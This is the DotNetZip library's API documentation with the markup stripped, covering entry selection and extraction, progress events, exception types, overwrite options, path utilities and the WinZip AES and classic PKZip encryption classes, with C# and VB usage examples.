ZipFile with those + files, using the specified directory path in the archive. If + recurseDirectories is true, files are also selected from + subdirectories, and the directory structure in the filesystem is + reproduced in the zip archive, rooted at the directory specified by + directoryOnDisk. For details on the syntax for the + selectionCriteria parameter, see . + + + + The criteria for selection of files to add to the ZipFile. + + + + The path to the directory in the filesystem from which to select files. + + + + Specifies a directory path to use to in place of the + directoryOnDisk. This path may, or may not, correspond to a + real directory in the current filesystem. If the files within the zip + are later extracted, this is the path used for the extracted file. + Passing null (nothing in VB) will use the path on the file name, if + any; in other words it would use directoryOnDisk, plus any + subdirectory. Passing the empty string ("") will insert the item at + the root path within the archive. + + + + If true, the method also scans subdirectories for files matching the criteria. + + + + + + + Retrieve entries from the zipfile by specified criteria. + + + + + This method allows callers to retrieve the collection of entries from the zipfile + that fit the specified criteria. The criteria are described in a string format, and + can include patterns for the filename; constraints on the size of the entry; + constraints on the last modified, created, or last accessed time for the file + described by the entry; or the attributes of the entry. + + + + For details on the syntax for the selectionCriteria parameter, see . + + + + This method is intended for use with a ZipFile that has been read from storage. + When creating a new ZipFile, this method will work only after the ZipArchive has + been Saved to the disk (the ZipFile class subsequently and implicitly reads the Zip + archive from storage.) Calling SelectEntries on a ZipFile that has not yet been + saved will deliver undefined results. + + + + + Thrown if selectionCriteria has an invalid syntax. + + + + This example selects all the PhotoShop files from within an archive, and extracts them + to the current working directory. + + using (ZipFile zip1 = ZipFile.Read(ZipFileName)) + { + var PhotoShopFiles = zip1.SelectEntries("*.psd"); + foreach (ZipEntry psd in PhotoShopFiles) + { + psd.Extract(); + } + } + + + Using zip1 As ZipFile = ZipFile.Read(ZipFileName) + Dim PhotoShopFiles as ICollection(Of ZipEntry) + PhotoShopFiles = zip1.SelectEntries("*.psd") + Dim psd As ZipEntry + For Each psd In PhotoShopFiles + psd.Extract + Next + End Using + + + the string that specifies which entries to select + a collection of ZipEntry objects that conform to the inclusion spec + + + + Retrieve entries from the zipfile by specified criteria. + + + + + This method allows callers to retrieve the collection of entries from the zipfile + that fit the specified criteria. The criteria are described in a string format, and + can include patterns for the filename; constraints on the size of the entry; + constraints on the last modified, created, or last accessed time for the file + described by the entry; or the attributes of the entry. + + + + For details on the syntax for the selectionCriteria parameter, see . + + + + This method is intended for use with a ZipFile that has been read from storage. + When creating a new ZipFile, this method will work only after the ZipArchive has + been Saved to the disk (the ZipFile class subsequently and implicitly reads the Zip + archive from storage.) Calling SelectEntries on a ZipFile that has not yet been + saved will deliver undefined results. + + + + + Thrown if selectionCriteria has an invalid syntax. + + + + + using (ZipFile zip1 = ZipFile.Read(ZipFileName)) + { + var UpdatedPhotoShopFiles = zip1.SelectEntries("*.psd", "UpdatedFiles"); + foreach (ZipEntry e in UpdatedPhotoShopFiles) + { + // prompt for extract here + if (WantExtract(e.FileName)) + e.Extract(); + } + } + + + Using zip1 As ZipFile = ZipFile.Read(ZipFileName) + Dim UpdatedPhotoShopFiles As ICollection(Of ZipEntry) = zip1.SelectEntries("*.psd", "UpdatedFiles") + Dim e As ZipEntry + For Each e In UpdatedPhotoShopFiles + ' prompt for extract here + If Me.WantExtract(e.FileName) Then + e.Extract + End If + Next + End Using + + + the string that specifies which entries to select + + + the directory in the archive from which to select entries. If null, then + all directories in the archive are used. + + + a collection of ZipEntry objects that conform to the inclusion spec + + + + Remove entries from the zipfile by specified criteria. + + + + + This method allows callers to remove the collection of entries from the zipfile + that fit the specified criteria. The criteria are described in a string format, and + can include patterns for the filename; constraints on the size of the entry; + constraints on the last modified, created, or last accessed time for the file + described by the entry; or the attributes of the entry. + + + + For details on the syntax for the selectionCriteria parameter, see . + + + + This method is intended for use with a ZipFile that has been read from storage. + When creating a new ZipFile, this method will work only after the ZipArchive has + been Saved to the disk (the ZipFile class subsequently and implicitly reads the Zip + archive from storage.) Calling SelectEntries on a ZipFile that has not yet been + saved will deliver undefined results. + + + + + Thrown if selectionCriteria has an invalid syntax. + + + + This example removes all entries in a zip file that were modified prior to January 1st, 2008. + + using (ZipFile zip1 = ZipFile.Read(ZipFileName)) + { + // remove all entries from prior to Jan 1, 2008 + zip1.RemoveEntries("mtime < 2008-01-01"); + // don't forget to save the archive! + zip1.Save(); + } + + + Using zip As ZipFile = ZipFile.Read(ZipFileName) + ' remove all entries from prior to Jan 1, 2008 + zip1.RemoveEntries("mtime < 2008-01-01") + ' do not forget to save the archive! + zip1.Save + End Using + + + the string that specifies which entries to select + the number of entries removed + + + + Remove entries from the zipfile by specified criteria, and within the specified + path in the archive. + + + + + This method allows callers to remove the collection of entries from the zipfile + that fit the specified criteria. The criteria are described in a string format, and + can include patterns for the filename; constraints on the size of the entry; + constraints on the last modified, created, or last accessed time for the file + described by the entry; or the attributes of the entry. + + + + For details on the syntax for the selectionCriteria parameter, see . + + + + This method is intended for use with a ZipFile that has been read from storage. + When creating a new ZipFile, this method will work only after the ZipArchive has + been Saved to the disk (the ZipFile class subsequently and implicitly reads the Zip + archive from storage.) Calling SelectEntries on a ZipFile that has not yet been + saved will deliver undefined results. + + + + + Thrown if selectionCriteria has an invalid syntax. + + + + + using (ZipFile zip1 = ZipFile.Read(ZipFileName)) + { + // remove all entries from prior to Jan 1, 2008 + zip1.RemoveEntries("mtime < 2008-01-01", "documents"); + // a call to ZipFile.Save will make the modifications permanent + zip1.Save(); + } + + + Using zip As ZipFile = ZipFile.Read(ZipFileName) + ' remove all entries from prior to Jan 1, 2008 + zip1.RemoveEntries("mtime < 2008-01-01", "documents") + ' a call to ZipFile.Save will make the modifications permanent + zip1.Save + End Using + + + + the string that specifies which entries to select + + the directory in the archive from which to select entries. If null, then + all directories in the archive are used. + + the number of entries removed + + + + Selects and Extracts a set of Entries from the ZipFile. + + + + + The entries are extracted into the current working directory. + + + + If any of the files to be extracted already exist, then the action taken is as + specified in the property on the + corresponding ZipEntry instance. By default, the action taken in this case is to + throw an exception. + + + + For information on the syntax of the selectionCriteria string, + see . + + + + + This example shows how extract all XML files modified after 15 January 2009. + + using (ZipFile zip = ZipFile.Read(zipArchiveName)) + { + zip.ExtractSelectedEntries("name = *.xml and mtime > 2009-01-15"); + } + + + the selection criteria for entries to extract. + + + + + + Selects and Extracts a set of Entries from the ZipFile. + + + + + The entries are extracted into the current working directory. When extraction would would + overwrite an existing filesystem file, the action taken is as specified in the + parameter. + + + + For information on the syntax of the string describing the entry selection criteria, + see . + + + + + This example shows how extract all XML files modified after 15 January 2009, + overwriting any existing files. + + using (ZipFile zip = ZipFile.Read(zipArchiveName)) + { + zip.ExtractSelectedEntries("name = *.xml and mtime > 2009-01-15", + ExtractExistingFileAction.OverwriteSilently); + } + + + + the selection criteria for entries to extract. + + + The action to take if extraction would overwrite an existing file. + + + + + Selects and Extracts a set of Entries from the ZipFile. + + + + + The entries are selected from the specified directory within the archive, and then + extracted into the current working directory. + + + + If any of the files to be extracted already exist, then the action taken is as + specified in the property on the + corresponding ZipEntry instance. By default, the action taken in this case is to + throw an exception. + + + + For information on the syntax of the string describing the entry selection criteria, + see . + + + + + This example shows how extract all XML files modified after 15 January 2009, + and writes them to the "unpack" directory. + + using (ZipFile zip = ZipFile.Read(zipArchiveName)) + { + zip.ExtractSelectedEntries("name = *.xml and mtime > 2009-01-15","unpack"); + } + + + + the selection criteria for entries to extract. + + + the directory in the archive from which to select entries. If null, then + all directories in the archive are used. + + + + + + + Selects and Extracts a set of Entries from the ZipFile. + + + + + The entries are extracted into the specified directory. If any of the files to be + extracted already exist, an exception will be thrown. + + + For information on the syntax of the string describing the entry selection criteria, + see . + + + + the selection criteria for entries to extract. + + + the directory in the archive from which to select entries. If null, then + all directories in the archive are used. + + + + the directory on the disk into which to extract. It will be created + if it does not exist. + + + + + Selects and Extracts a set of Entries from the ZipFile. + + + + + The entries are extracted into the specified directory. When extraction would would + overwrite an existing filesystem file, the action taken is as specified in the + parameter. + + + + For information on the syntax of the string describing the entry selection criteria, + see . + + + + + This example shows how extract all files with an XML extension or with a size larger than 100,000 bytes, + and puts them in the unpack directory. For any files that already exist in + that destination directory, they will not be overwritten. + + using (ZipFile zip = ZipFile.Read(zipArchiveName)) + { + zip.ExtractSelectedEntries("name = *.xml or size > 100000", + null, + "unpack", + ExtractExistingFileAction.DontOverwrite); + } + + + + the selection criteria for entries to extract. + + + The directory on the disk into which to extract. It will be created if it does not exist. + + + + The directory in the archive from which to select entries. If null, then + all directories in the archive are used. + + + + The action to take if extraction would overwrite an existing file. + + + + + + + + Static constructor for ZipFile + + + Code Pages 437 and 1252 for English are same + Code Page 1252 Windows Latin 1 (ANSI) - + Code Page 437 MS-DOS Latin US - + + + + + The default text encoding used in zip archives. It is numeric 437, also + known as IBM437. + + + + + + Generic IEnumerator support, for use of a ZipFile in an enumeration. + + + + You probably do not want to call GetEnumerator explicitly. Instead + it is implicitly called when you use a loop in C#, or a + For Each loop in VB.NET. + + + + This example reads a zipfile of a given name, then enumerates the + entries in that zip file, and displays the information about each + entry on the Console. + + using (ZipFile zip = ZipFile.Read(zipfile)) + { + bool header = true; + foreach (ZipEntry e in zip) + { + if (header) + { + System.Console.WriteLine("Zipfile: {0}", zip.Name); + System.Console.WriteLine("Version Needed: 0x{0:X2}", e.VersionNeeded); + System.Console.WriteLine("BitField: 0x{0:X2}", e.BitField); + System.Console.WriteLine("Compression Method: 0x{0:X2}", e.CompressionMethod); + System.Console.WriteLine("\n{1,-22} {2,-6} {3,4} {4,-8} {0}", + "Filename", "Modified", "Size", "Ratio", "Packed"); + System.Console.WriteLine(new System.String('-', 72)); + header = false; + } + + System.Console.WriteLine("{1,-22} {2,-6} {3,4:F0}% {4,-8} {0}", + e.FileName, + e.LastModified.ToString("yyyy-MM-dd HH:mm:ss"), + e.UncompressedSize, + e.CompressionRatio, + e.CompressedSize); + + e.Extract(); + } + } + + + + Dim ZipFileToExtract As String = "c:\foo.zip" + Using zip As ZipFile = ZipFile.Read(ZipFileToExtract) + Dim header As Boolean = True + Dim e As ZipEntry + For Each e In zip + If header Then + Console.WriteLine("Zipfile: {0}", zip.Name) + Console.WriteLine("Version Needed: 0x{0:X2}", e.VersionNeeded) + Console.WriteLine("BitField: 0x{0:X2}", e.BitField) + Console.WriteLine("Compression Method: 0x{0:X2}", e.CompressionMethod) + Console.WriteLine(ChrW(10) & "{1,-22} {2,-6} {3,4} {4,-8} {0}", _ + "Filename", "Modified", "Size", "Ratio", "Packed" ) + Console.WriteLine(New String("-"c, 72)) + header = False + End If + Console.WriteLine("{1,-22} {2,-6} {3,4:F0}% {4,-8} {0}", _ + e.FileName, _ + e.LastModified.ToString("yyyy-MM-dd HH:mm:ss"), _ + e.UncompressedSize, _ + e.CompressionRatio, _ + e.CompressedSize ) + e.Extract + Next + End Using + + + + A generic enumerator suitable for use within a foreach loop. + + + + An IEnumerator, for use of a ZipFile in a foreach construct. + + + + This method is included for COM support. An application generally does not call + this method directly. It is called implicitly by COM clients when enumerating + the entries in the ZipFile instance. In VBScript, this is done with a For Each + statement. In Javascript, this is done with new Enumerator(zipfile). + + + + The IEnumerator over the entries in the ZipFile. + + + + + This class exposes a set of COM-accessible wrappers for static + methods available on the ZipFile class. You don't need this + class unless you are using DotNetZip from a COM environment. + + + + + A wrapper for ZipFile.IsZipFile(string) + + The filename to of the zip file to check. + true if the file contains a valid zip file. + + + + A wrapper for ZipFile.IsZipFile(string, bool) + + + We cannot use "overloaded" Method names in COM interop. + So, here, we use a unique name. + + The filename to of the zip file to check. + true if the file contains a valid zip file. + + + + A wrapper for ZipFile.CheckZip(string) + + The filename to of the zip file to check. + + true if the named zip file checks OK. Otherwise, false. + + + + A COM-friendly wrapper for the static method . + + + The filename to of the zip file to check. + + The password to check. + + true if the named zip file checks OK. Otherwise, false. + + + + A wrapper for ZipFile.FixZipDirectory(string) + + The filename to of the zip file to fix. + + + + A wrapper for ZipFile.LibraryVersion + + + the version number on the DotNetZip assembly, formatted as a string. + + + + Total bits available in the input buffer. + + + Total bytes available in the input buffer. + + + Ensure that count bits are in the bit buffer. + Can be up to 16. + Returns false if input is not sufficient to make this true. + + + + This function will try to load 16 or more bits into bitBuffer. + It returns whatever is contained in bitBuffer after loading. + The main difference between this and GetBits is that this will + never return -1. So the caller needs to check AvailableBits to + see how many bits are available. + + + + Gets count bits from the input buffer. Returns -1 if not enough bits available. + + + + Copies length bytes from input buffer to output buffer starting at output[offset]. + You have to make sure, that the buffer is byte aligned. If not enough bytes are + available, copies fewer bytes. + + Returns the number of bytes copied, 0 if no byte is available. + + + + Return true is all input bytes are used. + This means the caller can call SetInput to add more input. + + + + + Set the byte array to be processed. + All the bits remained in bitBuffer will be processed before the new bytes. + We don't clone the byte array here since it is expensive. + The caller should make sure after a buffer is passed in. + It will not be changed before calling this function again. + + + + Skip n bits in the buffer. + + + Skips to the next byte boundary. + + + + This class maintains a window for decompressed output. + We need to keep this because the decompressed information can be + a literal or a length/distance pair. For length/distance pair, + we need to look back in the output window and copy bytes from there. + We use a byte array of WindowSize circularly. + + + + Add a byte to output window. + + + + Copy up to length of bytes from input directly. + This is used for uncompressed block. + + + + Free space in output window. + + + Bytes not consumed in output window. + + + Copy the decompressed bytes to output array. + + + + An enum that provides the various encryption algorithms supported by this + library. + + + + + + PkzipWeak implies the use of Zip 2.0 encryption, which is known to be + weak and subvertible. + + + + A note on interoperability: Values of PkzipWeak and None are + specified in PKWARE's zip + specification, and are considered to be "standard". Zip archives + produced using these options will be interoperable with many other zip tools + and libraries, including Windows Explorer. + + + + Values of WinZipAes128 and WinZipAes256 are not part of the Zip + specification, but rather imply the use of a vendor-specific extension from + WinZip. If you want to produce interoperable Zip archives, do not use these + values. For example, if you produce a zip archive using WinZipAes256, you + will be able to open it in Windows Explorer on Windows XP and Vista, but you + will not be able to extract entries; trying this will lead to an "unspecified + error". For this reason, some people have said that a zip archive that uses + WinZip's AES encryption is not actually a zip archive at all. A zip archive + produced this way will be readable with the WinZip tool (Version 11 and + beyond). + + + + There are other third-party tools and libraries, both commercial and + otherwise, that support WinZip's AES encryption. These will be able to read + AES-encrypted zip archives produced by DotNetZip, and conversely applications + that use DotNetZip to read zip archives will be able to read AES-encrypted + archives produced by those tools or libraries. Consult the documentation for + those other tools and libraries to find out if WinZip's AES encryption is + supported. + + + + In case you care: According to the WinZip specification, the + actual AES key used is derived from the via an + algorithm that complies with RFC 2898, using an iteration + count of 1000. The algorithm is sometimes referred to as PBKDF2, which stands + for "Password Based Key Derivation Function #2". + + + + A word about password strength and length: The AES encryption technology is + very good, but any system is only as secure as the weakest link. If you want + to secure your data, be sure to use a password that is hard to guess. To make + it harder to guess (increase its "entropy"), you should make it longer. If + you use normal characters from an ASCII keyboard, a password of length 20 will + be strong enough that it will be impossible to guess. For more information on + that, I'd encourage you to read this + article. + + + + + + + No encryption at all. + + + + + Traditional or Classic pkzip encryption. + + + + + WinZip AES encryption (128 key bits). + + + + + WinZip AES encryption (256 key bits). + + + + + An encryption algorithm that is not supported by DotNetZip. + + + + + Delegate in which the application writes the ZipEntry content for the named entry. + + + The name of the entry that must be written. + The stream to which the entry data should be written. + + + When you add an entry and specify a WriteDelegate, via , the application + code provides the logic that writes the entry data directly into the zip file. + + + + + This example shows how to define a WriteDelegate that obtains a DataSet, and then + writes the XML for the DataSet into the zip archive. There's no need to + save the XML to a disk file first. + + + private void WriteEntry (String filename, Stream output) + { + DataSet ds1 = ObtainDataSet(); + ds1.WriteXml(output); + } + + private void Run() + { + using (var zip = new ZipFile()) + { + zip.AddEntry(zipEntryName, WriteEntry); + zip.Save(zipFileName); + } + } + + + + Private Sub WriteEntry (ByVal filename As String, ByVal output As Stream) + DataSet ds1 = ObtainDataSet() + ds1.WriteXml(stream) + End Sub + + Public Sub Run() + Using zip = New ZipFile + zip.AddEntry(zipEntryName, New WriteDelegate(AddressOf WriteEntry)) + zip.Save(zipFileName) + End Using + End Sub + + + + + + + Delegate in which the application opens the stream, just-in-time, for the named entry. + + + + The name of the ZipEntry that the application should open the stream for. + + + + When you add an entry via , the application code provides the logic that + opens and closes the stream for the given ZipEntry. + + + + + + + Delegate in which the application closes the stream, just-in-time, for the named entry. + + + + The name of the ZipEntry that the application should close the stream for. + + + The stream to be closed. + + + When you add an entry via , the application code provides the logic that + opens and closes the stream for the given ZipEntry. + + + + + + + Delegate for the callback by which the application tells the + library the CompressionLevel to use for a file. + + + + + Using this callback, the application can, for example, specify that + previously-compressed files (.mp3, .png, .docx, etc) should use a + CompressionLevel of None, or can set the compression level based + on any other factor. + + + + + + + In an EventArgs type, indicates which sort of progress event is being + reported. + + + There are events for reading, events for saving, and events for + extracting. This enumeration allows a single EventArgs type to be sued to + describe one of multiple subevents. For example, a SaveProgress event is + invoked before, after, and during the saving of a single entry. The value + of an enum with this type, specifies which event is being triggered. The + same applies to Extraction, Reading and Adding events. + + + + + Indicates that a Add() operation has started. + + + + + Indicates that an individual entry in the archive has been added. + + + + + Indicates that a Add() operation has completed. + + + + + Indicates that a Read() operation has started. + + + + + Indicates that an individual entry in the archive is about to be read. + + + + + Indicates that an individual entry in the archive has just been read. + + + + + Indicates that a Read() operation has completed. + + + + + The given event reports the number of bytes read so far + during a Read() operation. + + + + + Indicates that a Save() operation has started. + + + + + Indicates that an individual entry in the archive is about to be written. + + + + + Indicates that an individual entry in the archive has just been saved. + + + + + Indicates that a Save() operation has completed. + + + + + Indicates that the zip archive has been created in a + temporary location during a Save() operation. + + + + + Indicates that the temporary file is about to be renamed to the final archive + name during a Save() operation. + + + + + Indicates that the temporary file is has just been renamed to the final archive + name during a Save() operation. + + + + + Indicates that the self-extracting archive has been compiled + during a Save() operation. + + + + + The given event is reporting the number of source bytes that have run through the compressor so far + during a Save() operation. + + + + + Indicates that an entry is about to be extracted. + + + + + Indicates that an entry has just been extracted. + + + + + Indicates that extraction of an entry would overwrite an existing + filesystem file. You must use + + ExtractExistingFileAction.InvokeExtractProgressEvent in the call + to ZipEntry.Extract() in order to receive this event. + + + + + The given event is reporting the number of bytes written so far for + the current entry during an Extract() operation. + + + + + Indicates that an ExtractAll operation is about to begin. + + + + + Indicates that an ExtractAll operation has completed. + + + + + Indicates that an error has occurred while saving a zip file. + This generally means the file cannot be opened, because it has been + removed, or because it is locked by another process. It can also + mean that the file cannot be Read, because of a range lock conflict. + + + + + Provides information about the progress of a save, read, or extract operation. + This is a base class; you will probably use one of the classes derived from this one. + + + + + The total number of entries to be saved or extracted. + + + + + The name of the last entry saved or extracted. + + + + + In an event handler, set this to cancel the save or extract + operation that is in progress. + + + + + The type of event being reported. + + + + + Returns the archive name associated to this event. + + + + + The number of bytes read or written so far for this entry. + + + + + Total number of bytes that will be read or written for this entry. + This number will be -1 if the value cannot be determined. + + + + + Provides information about the progress of a Read operation. + + + + + Provides information about the progress of a Add operation. + + + + + Provides information about the progress of a save operation. + + + + + Constructor for the SaveProgressEventArgs. + + the name of the zip archive. + whether this is before saving the entry, or after + The total number of entries in the zip archive. + Number of entries that have been saved. + The entry involved in the event. + + + + Number of entries saved so far. + + + + + Provides information about the progress of the extract operation. + + + + + Constructor for the ExtractProgressEventArgs. + + the name of the zip archive. + whether this is before saving the entry, or after + The total number of entries in the zip archive. + Number of entries that have been extracted. + The entry involved in the event. + The location to which entries are extracted. + + + + Number of entries extracted so far. This is set only if the + EventType is Extracting_BeforeExtractEntry or Extracting_AfterExtractEntry, and + the Extract() is occurring witin the scope of a call to ExtractAll(). + + + + + Returns the extraction target location, a filesystem path. + + + + + Provides information about the an error that occurred while zipping. + + + + + Returns the exception that occurred, if any. + + + + + Returns the name of the file that caused the exception, if any. + + + + + Issued when an ZipEntry.ExtractWithPassword() method is invoked + with an incorrect password. + + + + + Default ctor. + + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + The innerException for this exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The serialization info for the exception. + The streaming context from which to deserialize. + + + + Indicates that a read was attempted on a stream, and bad or incomplete data was + received. + + + + + Default ctor. + + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + The innerException for this exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The serialization info for the exception. + The streaming context from which to deserialize. + + + + Issued when an CRC check fails upon extracting an entry from a zip archive. + + + + + Default ctor. + + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The serialization info for the exception. + The streaming context from which to deserialize. + + + + Issued when errors occur saving a self-extracting archive. + + + + + Default ctor. + + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The serialization info for the exception. + The streaming context from which to deserialize. + + + + Indicates that an operation was attempted on a ZipFile which was not possible + given the state of the instance. For example, if you call Save() on a ZipFile + which has no filename set, you can get this exception. + + + + + Default ctor. + + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + The innerException for this exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The serialization info for the exception. + The streaming context from which to deserialize. + + + + Base class for all exceptions defined by and throw by the Zip library. + + + + + Default ctor. + + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The message in the exception. + The innerException for this exception. + + + + Come on, you know how exceptions work. Why are you looking at this documentation? + + The serialization info for the exception. + The streaming context from which to deserialize. + + + + An enum for the options when extracting an entry would overwrite an existing file. + + + + + This enum describes the actions that the library can take when an + Extract() or ExtractWithPassword() method is called to extract an + entry to a filesystem, and the extraction would overwrite an existing filesystem + file. + + + + + + + Throw an exception when extraction would overwrite an existing file. (For + COM clients, this is a 0 (zero).) + + + + + When extraction would overwrite an existing file, overwrite the file silently. + The overwrite will happen even if the target file is marked as read-only. + (For COM clients, this is a 1.) + + + + + When extraction would overwrite an existing file, don't overwrite the file, silently. + (For COM clients, this is a 2.) + + + + + When extraction would overwrite an existing file, invoke the ExtractProgress + event, using an event type of . In + this way, the application can decide, just-in-time, whether to overwrite the + file. For example, a GUI application may wish to pop up a dialog to allow + the user to choose. You may want to examine the property before making + the decision. If, after your processing in the Extract progress event, you + want to NOT extract the file, set + on the ZipProgressEventArgs.CurrentEntry to DoNotOverwrite. + If you do want to extract the file, set ZipEntry.ExtractExistingFile + to OverwriteSilently. If you want to cancel the Extraction, set + ZipProgressEventArgs.Cancel to true. Cancelling differs from using + DoNotOverwrite in that a cancel will not extract any further entries, if + there are any. (For COM clients, the value of this enum is a 3.) + + + + + Collects general purpose utility methods. + + + + private null constructor + + + + Utility routine for transforming path names from filesystem format (on Windows that means backslashes) to + a format suitable for use within zipfiles. This means trimming the volume letter and colon (if any) And + swapping backslashes for forward slashes. + + source path. + transformed path + + + + Sanitize paths in zip files. This means making sure that relative paths in a zip file don't go outside + the top directory. Entries like something/../../../../Temp/evil.txt get sanitized to Temp/evil.txt + when extracting + + A path with forward slashes as directory separator + sanitized path + + + + Finds a signature in the zip stream. This is useful for finding + the end of a zip entry, for example, or the beginning of the next ZipEntry. + + + + + Scans through 64k at a time. + + + + If the method fails to find the requested signature, the stream Position + after completion of this method is unchanged. If the method succeeds in + finding the requested signature, the stream position after completion is + direct AFTER the signature found in the stream. + + + + The stream to search + The 4-byte signature to find + The number of bytes read + + + + Create a pseudo-random filename, suitable for use as a temporary + file, and open it. + + + + This method produces a filename of the form + DotNetZip-xxxxxxxx.tmp, where xxxxxxxx is replaced by randomly + chosen characters, and creates that file. + + + + + + Workitem 7889: handle ERROR_LOCK_VIOLATION during read + + + This could be gracefully handled with an extension attribute, but + This assembly used to be built for .NET 2.0, so could not use + extension methods. + + + + + A decorator stream. It wraps another stream, and performs bookkeeping + to keep track of the stream Position. + + + + In some cases, it is not possible to get the Position of a stream, let's + say, on a write-only output stream like ASP.NET's + Response.OutputStream, or on a different write-only stream + provided as the destination for the zip by the application. In this + case, programmers can use this counting stream to count the bytes read + or written. + + + Consider the scenario of an application that saves a self-extracting + archive (SFX), that uses a custom SFX stub. + + + Saving to a filesystem file, the application would open the + filesystem file (getting a FileStream), save the custom sfx stub + into it, and then call ZipFile.Save(), specifying the same + FileStream. ZipFile.Save() does the right thing for the zipentry + offsets, by inquiring the Position of the FileStream before writing + any data, and then adding that initial offset into any ZipEntry + offsets in the zip directory. Everything works fine. + + + Now suppose the application is an ASPNET application and it saves + directly to Response.OutputStream. It's not possible for DotNetZip to + inquire the Position, so the offsets for the SFX will be wrong. + + + The workaround is for the application to use this class to wrap + HttpResponse.OutputStream, then write the SFX stub and the ZipFile + into that wrapper stream. Because ZipFile.Save() can inquire the + Position, it will then do the right thing with the offsets. + + + + + + The constructor. + + The underlying stream + + + + Gets the wrapped stream. + + + + + The count of bytes written out to the stream. + + + + + the count of bytes that have been read from the stream. + + + + + Adjust the byte count on the stream. + + + + the number of bytes to subtract from the count. + + + + + Subtract delta from the count of bytes written to the stream. + This is necessary when seeking back, and writing additional data, + as happens in some cases when saving Zip files. + + + + + + The read method. + + The buffer to hold the data read from the stream. + the offset within the buffer to copy the first byte read. + the number of bytes to read. + the number of bytes read, after decryption and decompression. + + + + Write data into the stream. + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Whether the stream can be read. + + + + + Whether it is possible to call Seek() on the stream. + + + + + Whether it is possible to call Write() on the stream. + + + + + Flushes the underlying stream. + + + + + The length of the underlying stream. + + + + + Returns the sum of number of bytes written, plus the initial + offset before writing. + + + + + The Position of the stream. + + + + + Seek in the stream. + + the offset point to seek to + the reference point from which to seek + The new position + + + + Set the length of the underlying stream. Be careful with this! + + + the length to set on the underlying stream. + + + + This is a helper class supporting WinZip AES encryption. + This class is intended for use only by the DotNetZip library. + + + + Most uses of the DotNetZip library will not involve direct calls into + the WinZipAesCrypto class. Instead, the WinZipAesCrypto class is + instantiated and used by the ZipEntry() class when WinZip AES + encryption or decryption on an entry is employed. + + + + + A stream that encrypts as it writes, or decrypts as it reads. The + Crypto is AES in CTR (counter) mode, which is compatible with the AES + encryption employed by WinZip 12.0. + + + + The AES/CTR encryption protocol used by WinZip works like this: + + - start with a counter, initialized to zero. + + - to encrypt, take the data by 16-byte blocks. For each block: + - apply the transform to the counter + - increement the counter + - XOR the result of the transform with the plaintext to + get the ciphertext. + - compute the mac on the encrypted bytes + - when finished with all blocks, store the computed MAC. + + - to decrypt, take the data by 16-byte blocks. For each block: + - compute the mac on the encrypted bytes, + - apply the transform to the counter + - increement the counter + - XOR the result of the transform with the ciphertext to + get the plaintext. + - when finished with all blocks, compare the computed MAC against + the stored MAC + + + + + + + The constructor. + + The underlying stream + To either encrypt or decrypt. + The pre-initialized WinZipAesCrypto object. + The maximum number of bytes to read from the stream. + + + + Returns the final HMAC-SHA1-80 for the data that was encrypted. + + + + + Close the stream. + + + + + Returns true if the stream can be read. + + + + + Always returns false. + + + + + Returns true if the CryptoMode is Encrypt. + + + + + Flush the content in the stream. + + + + + Getting this property throws a NotImplementedException. + + + + + Getting or Setting this property throws a NotImplementedException. + + + + + This method throws a NotImplementedException. + + + + + This method throws a NotImplementedException. + + + + + This class implements the "traditional" or "classic" PKZip encryption, + which today is considered to be weak. On the other hand it is + ubiquitous. This class is intended for use only by the DotNetZip + library. + + + + Most uses of the DotNetZip library will not involve direct calls into + the ZipCrypto class. Instead, the ZipCrypto class is instantiated and + used by the ZipEntry() class when encryption or decryption on an entry + is employed. If for some reason you really wanted to use a weak + encryption algorithm in some other application, you might use this + library. But you would be much better off using one of the built-in + strong encryption libraries in the .NET Framework, like the AES + algorithm or SHA. + + + + + The default constructor for ZipCrypto. + + + + This class is intended for internal use by the library only. It's + probably not useful to you. Seriously. Stop reading this + documentation. It's a waste of your time. Go do something else. + Check the football scores. Go get an ice cream with a friend. + Seriously. + + + + + + From AppNote.txt: + unsigned char decrypt_byte() + local unsigned short temp + temp :=- Key(2) | 2 + decrypt_byte := (temp * (temp ^ 1)) bitshift-right 8 + end decrypt_byte + + + + + Call this method on a cipher text to render the plaintext. You must + first initialize the cipher with a call to InitCipher. + + + + + var cipher = new ZipCrypto(); + cipher.InitCipher(Password); + // Decrypt the header. This has a side effect of "further initializing the + // encryption keys" in the traditional zip encryption. + byte[] DecryptedMessage = cipher.DecryptMessage(EncryptedMessage); + + + + The encrypted buffer. + + The number of bytes to encrypt. + Should be less than or equal to CipherText.Length. + + + The plaintext. + + + + This is the converse of DecryptMessage. It encrypts the plaintext + and produces a ciphertext. + + + The plain text buffer. + + + The number of bytes to encrypt. + Should be less than or equal to plainText.Length. + + + The ciphertext. + + + + This initializes the cipher with the given password. + See AppNote.txt for details. + + + + The passphrase for encrypting or decrypting with this cipher. + + + + + Step 1 - Initializing the encryption keys + ----------------------------------------- + Start with these keys: + Key(0) := 305419896 (0x12345678) + Key(1) := 591751049 (0x23456789) + Key(2) := 878082192 (0x34567890) + + Then, initialize the keys with a password: + + loop for i from 0 to length(password)-1 + update_keys(password(i)) + end loop + + Where update_keys() is defined as: + + update_keys(char): + Key(0) := crc32(key(0),char) + Key(1) := Key(1) + (Key(0) bitwiseAND 000000ffH) + Key(1) := Key(1) * 134775813 + 1 + Key(2) := crc32(key(2),key(1) rightshift 24) + end update_keys + + Where crc32(old_crc,char) is a routine that given a CRC value and a + character, returns an updated CRC value after applying the CRC-32 + algorithm described elsewhere in this document. + + + + + After the keys are initialized, then you can use the cipher to + encrypt the plaintext. + + + + Essentially we encrypt the password with the keys, then discard the + ciphertext for the password. This initializes the keys for later use. + + + + + + + A Stream for reading and concurrently decrypting data 